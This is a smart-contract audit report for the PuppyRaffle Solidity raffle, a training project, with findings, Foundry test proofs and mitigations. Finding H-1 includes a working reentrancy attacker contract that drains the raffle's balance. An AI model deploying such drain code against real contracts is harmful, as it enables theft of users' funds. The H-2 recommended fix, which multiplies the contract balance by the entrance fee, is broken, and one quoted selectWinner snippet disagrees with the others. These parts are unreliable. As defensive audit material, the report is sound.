PuppyRaffle Audit Report

Version 1.0

Sachet Dhanuka

June 22, 2024

PuppyRaffle Audit Report

Sachet Dhanuka

June 22, 2024

Prepared by: Sachet Lead Auditors: - Patrick Collins - Sachet Dhanuka

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Sachet Dhanuka and team makes all efforts to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Walkthrough this codebase with Patrick Collins helped me learn a Ton of concepts. Analyzing and learning through projects gave me a better insight into the real world dynamics. Wrote each report alongside Patrick and tried to understand every concept to the core. The [H-2] vulnerability was not mentioned in the video, so I wrote it on my own. This was my first ever reporting of a bug. Posted it on twitter and interacted with Patrick about this.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Info	5
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description The `PuppyRaffle::refund` does not follow CEI(Checks, Effects and Interactions) and as a result, enables participants to drain the contract balance.

The `PuppyRaffle::refund` function makes an external call to the `msg.sender` in-order to transfer the requested fee refund. This external call is made before updating the state of the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have `fallback/receive` function recall the `PuppyRaffle::refund` function again and again and claim refund until the raffle is completely drained of all the balance.

Impact All fees paid by raffle entrants could be stolen by a malicious participant.

Proof Of Concept

1. User enters the raffle.
2. Attacker sets up a contract with `fallback/receive` function that calls the `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls the `PuppRaffle::refund` from the attack contract, draining the contract balance.

Proof Of Code

Code

Place the following code in `PuppyRaffleTest.t.sol`

```
1      function test_Reentrancy_refund()public{
2          address[] memory players = new address[](10);
3          for(uint160 i =0;i<10;i++){
4              players[i] = address(i);
5          }
6          puppyRaffle.enterRaffle{value:entranceFee * 10}(players);
7
8          console.log("Starting puppyRaffle balance: ",address(
               puppyRaffle).balance);
9          attacker.attack{value:entranceFee}();
10
```

```
11          console.log("Updated puppyRaffle balance: ",address(puppyRaffle
                ).balance);
12          console.log("Updated Attacker balance: ",address(attacker).
                balance);
13
14          assertEq(address(puppyRaffle).balance,0);
15      }
```

And this attacker contract as well

```
1       contract Attacker{
2       address public victim;
3       uint256 public entranceFee;
4       uint256 public index;
5
6       constructor(address _victim){
7           victim = _victim;
8           entranceFee = PuppyRaffle(victim).entranceFee();
9       }
10      function attack()public payable{
11          address[] memory player = new address[](1);
12          player[0]  = address(this);
13          PuppyRaffle(victim).enterRaffle{value:entranceFee}(player);
14          index = PuppyRaffle(victim).getActivePlayerIndex(address(this))
                ;
15          stealmoney();
16      }
17      function stealmoney()internal{
18          if(victim.balance >= entranceFee){
19              PuppyRaffle(victim).refund(index);
20          }
21      }
22      receive() external payable{
23          stealmoney();
24      }
25      fallback() external payable{
26          stealmoney();
27      }
28  }
```

Recommended Mitigation To prevent reentrancy we should have the `PuppyRaffle::refund` function update the `players` array before the external call. Additionally the event emmision should also be done before the call.

```
1   function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
```

```
+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);
          payable(msg.sender).sendValue(entranceFee);
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
      }
```

[H-2] The `PuppyRaffle::refund` function updates the `PuppyRaffle::players` array slots to zero address, which does not change its length, leading to incorrect valuation of `prizePool` and `fee` in the `PuppyRaffle::selectWinner`

Description When a player retracts from the raffle by calling `refund`, his address in the `players` array is updated with a zero address. This does not change the length of the array. Thus on calculation of `players.length`, it gives the incorrect number of active players in the raffle.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
        payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

When the `PuppyRaffle::selectWinner` is called to pick a winner, the `totalAmountCollected` is calculated considering the `players` length, which in turn leads to invalid calculation of `prizePool` and `fee`. This causes incorrect prize amount distribution to the raffle winners, and wrong fees to the owners of the protocol.

```
@>      uint256 totalAmountCollected = players.length * entranceFee;
@>      uint256 prizePool = (totalAmountCollected * 80) / 100;
@>      uint256 fee = (totalAmountCollected * 20) / 100;
```

In case of a raffle where number of players taking refund are high, the gap between the actual `balance` of the contract and the `totalAmountCollected` will be significant enough to revert the `PuppyRaffle::selectWinner` function during transfer of `prizePool`, thereby derailing the protocol.

Impact Incorrect prize distribution to the raffle winners and wrong fees calculation of the owners of the protocol. If the `prizePool` amount exceeds the `balance` of the protocol, this will revert the transaction of sending the prize amount to the winner, putting the protocol on hold.

Proof of Concept

1. We enter 6 players in the raffle
2. We then retract any 2 players by calling the `refund` function
3. Then we call `selectWinner` which reverts the call
4. The call is reverted with error `revert: PuppyRaffle: Failed to send prize pool to winner` because the `prizePool` calculated exceeds the actual `balance` of the protocol

```
uint256 balance = address(puppyRaffle).balance;
// this implies
uint256 balance = 4e18; //4 ETH
uint256 totalAmountCalculated = players.length * entranceFee;
// this implies
uint256 totalAmountCalculated = 6 * 1e18; //6 ETH
uint256 prizePool = (totalAmountCollected * 80) / 100;
// this implies
uint256 prizePool = 4800000000000000000; //4.8 ETH
```

POC

Place the following code in `PuppyRaffleTest.t.sol`:

```
    function test_zeroAddressIssue()public{
        address[] memory players = new address[](6);
        for(uint160 i=1;i<=6;i++){
            players[i-1]=address(i);
        }
        puppyRaffle.enterRaffle{value:(entranceFee*6)}(players);
        // 6 players enter the raffle
        uint256 index1 = puppyRaffle.getActivePlayerIndex(address(1));
        uint256 index2 = puppyRaffle.getActivePlayerIndex(address(2));
        // of which 2 take back refunds
        vm.prank(address(1));
        puppyRaffle.refund(index1);
        vm.prank(address(2));
        puppyRaffle.refund(index2);

        vm.warp(block.timestamp+86400);
        vm.roll(block.number+1);


        vm.expectRevert();
        puppyRaffle.selectWinner();
        console.log(address(1).balance);
        console.log(address(2).balance);
        console.log(address(3).balance);
        console.log(address(4).balance);
        console.log(address(5).balance);
        console.log(address(6).balance);
    }
```

Recommended Mitigation Instead of calculating the `totalAmountCollected` using `entranceFee * players.length`, directly calculate using the balance of the protocol.

```
+       uint256 totalAmountCollected = address(this).balance * entranceFee;
-       uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

[H-3] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable random number. Malicious users can manipulate these values to make themselves the winner.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact Any user can influence the winner selection process of the raffle, winning the money and selecting the `rarest` puppy. This makes the entire raffle worthless, as it just becomes a gar war as to who wins the raffles.

Proof of Concept

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-4] Integer overflow of `PuppyRaffle:totalfees` loses fees

Description In solidity versions prior to `0.8.0` integers were subject to interger overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAdddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of feees, leaving fees stuck in the contract permanently.

Proof of Code

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// implies
totalFees = 800000000000000000 + 17800000000000000000;
// and this will overflow
totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Althought you coul use `selfdestrict` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much `balance` in the contract that the above will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
```

```
15          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
16          // We end the raffle
17          vm.warp(block.timestamp + duration + 1);
18          vm.roll(block.number + 1);
19
20          // And here is where the issue occurs
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation

1. Use a newer version of Solidity, and a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees`.
2. You could also use `safeMath` library of openzeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors associated with that final require, so we recommend to remove it regardless.

Medium

[M-1] Looping through the unbounded players array to check for duplicates in the `PuppyRaffle:enterRaffle` is a potential denial of service attack, incrementing gas costs for future entrants.

Description The `PuppyRaffle:enterRaffle` loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player

will have to make. This means the gas costs for players who enter right when the raffle starts will be drastically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1          for (uint256 i = 0; i < players.length - 1; i++){
2              for (uint256 j = i + 1; j < players.length; j++) {
3                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
4              }
5          }
```

Impact The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle:entrants` array so big, that no one else enter, guaranteeing themselves the win.

Proof of Code

If we have two sets of 100 players entering the raffle, the gas costs will be as such: - 1st 100 Players : ~6252048 - 2nd 100 Players : ~18068138

This 3x more expensive for 2nd set of Players.

Poc

Place the following test in `PuppyRaffle.t.sol` :

```
1  function test_DenialOfService_enterRaffle()public{
2          // For first 100 players
3          uint256 playerNum = 100;
4          address[] memory players = new address[](playerNum);
5          for(uint160 i=0;i<100;i++){
6              players[i] = address(i);
7          }
8          uint256 gasStart = gasleft();
9          puppyRaffle.enterRaffle{value:entranceFee * playerNum}(players)
               ;
10         uint256 gasEnd = gasStart - gasleft();
11         console.log(gasEnd);
12         // For next 100 players
13         for(uint160 i=100;i<200;i++){
14             players[i-100] = address(i);
15         }
16         gasStart = gasleft();
17         puppyRaffle.enterRaffle{value:entranceFee * playerNum}(players)
               ;
18         gasEnd = gasStart - gasleft();
19         console.log(gasEnd);
```

```
20 }
```

Recommended Mitigation There are a few recommended mitigations:

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does'nt prevent the same user from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow to check for duplicates in constant time rather than in linear time. You could have each raffle have a raffle id, and the mapping would be a player address mapped to that raffle id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 1; // raffleId = 0 will lead to fail to add new player

     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-        // Check for duplicates
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
         emit RaffleEnter(newPlayers);
     }
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
         ...}
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
```

```
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9  @>       totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
```

```
6           uint256 winnerIndex =
7               uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
8           address winner = players[winnerIndex];
9           uint256 totalAmountCollected = players.length * entranceFee;
10          uint256 prizePool = (totalAmountCollected * 80) / 100;
11          uint256 fee = (totalAmountCollected * 20) / 100;
12  -       totalFees = totalFees + uint64(fee);
13  +       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive/fallback` function will block the start of a new raffle

Description The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non wallet entrants could enter, but it could cost a lot due to duplicate check and a lottery reset could be very challenging.

Impact The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Code

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact The player at index 0 may incorrectly think he has not entered the raffle and attempt to enter again.

Proof Of Concept

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared as constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be chached

Everytime you call `players.length` you read from storage instead of memory, which is gas-inefficient.

```
+       uint256 playerLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
```

```
5 +             for (uint256 j = i + 1; j < playerLength; j++) {
6                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
7               }
8           }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instance

- Found in src/PuppyRaffle.sol [Line: 2]

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

1. Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.
2. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.
3. Please use newer version of Solidity like `0.8.24`

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
+         _safeMint(winner, tokenId);
          (bool success,) = winner.call{value: prizePool}("");
          require(success, "PuppyRaffle: Failed to send prize pool to
              winner");
-         _safeMint(winner, tokenId);
```

[I-5] Use of `magic` numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

You could use this:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```